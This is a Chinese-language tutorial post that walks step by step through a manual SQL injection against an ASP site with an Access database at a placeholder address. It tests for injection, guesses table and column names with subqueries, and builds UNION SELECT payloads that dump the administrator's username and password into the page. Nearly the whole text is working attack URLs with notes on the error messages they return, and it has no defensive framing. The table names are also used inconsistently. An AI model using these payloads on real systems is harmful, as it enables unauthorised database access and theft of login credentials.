拿到一網站首先,判斷是否存在注入,http://www.XXX.com/detail.asp?
id=430',加單引號,判斷是什麼數據庫
http://www.XXX.com/detail.asp?id=430 and 1=1
http://www.XXX.com/detail.asp?id=430 and 1=2 返回錯誤
這3點證明的確存在注入漏洞
現在判斷是數據庫裡的表名
判斷有不有admin表
http://www.XXX.com/detail.asp?id=430 and (select count(*) from admin)<>0
返回正常說明存在_web_login表
現在猜測字段
判斷_web_login中是否有username這個字段
http://www.XXX.com/detail.asp?id=430 and (select username from web_login)<>' '
返回錯誤說明_web_long表中沒有username這個字段
判斷_web_login中是否有id這個字段
http://www.XXX.com/detail.asp?id=430 and (select id from web_login)<>0
返回[Microsoft][ODBC Microsoft Access Driver] 子查詢最多能返回一個記錄 說明存在而且不只一個,因為用
戶有多個
判斷是否有userid這個字段
http://www.XXX.com/detail.asp?id=430 and (select userid from _web_login where id=1)<>' '
返回正常說明有userid字段
判斷是否有passwd這個字段
http://www.XXX.com/detail.asp?id=430 and (select passwd from _web_login where id=1)<>' '
返回正常說明存在passwd字段
現在表和字段都猜出來了
表:_web_login 字段:id,userid,passwd
現在要猜字段裡的內容,有多種方法,用聯合查詢
先猜了一下,一共有24個字段
先猜第一個語句查詢的是22個字段
http://www.XXX.com/detail.asp?id=430 union (select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from _web_login)
返回[Microsoft][ODBC Microsoft Access Driver] 在聯合查詢中所選定的兩個數據表或查詢中的列數不匹配
說明字段不和
選猜24個
http://www.XXX.com/detail.asp?id=430 union (select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)
返回正確,並表明要在網站顯示的字段內容,是第4和第8,如果把4換成userid,那麼4的位置將顯示userid的內容
http://www.XXX.com/detail.asp?id=430 union (select 1,2,3,userid,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)
返回4的位置為admin,說明第一個用戶是admin,現在我們來暴出密碼,把第8換成
passwd,將在第8的位置顯示passwd的內容
http://www.XXX.com/detail.asp?id=430 union (select 1,2,3,userid,5,6,7,passwd,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)
閱讀更多 另一個世界的攸一 的文章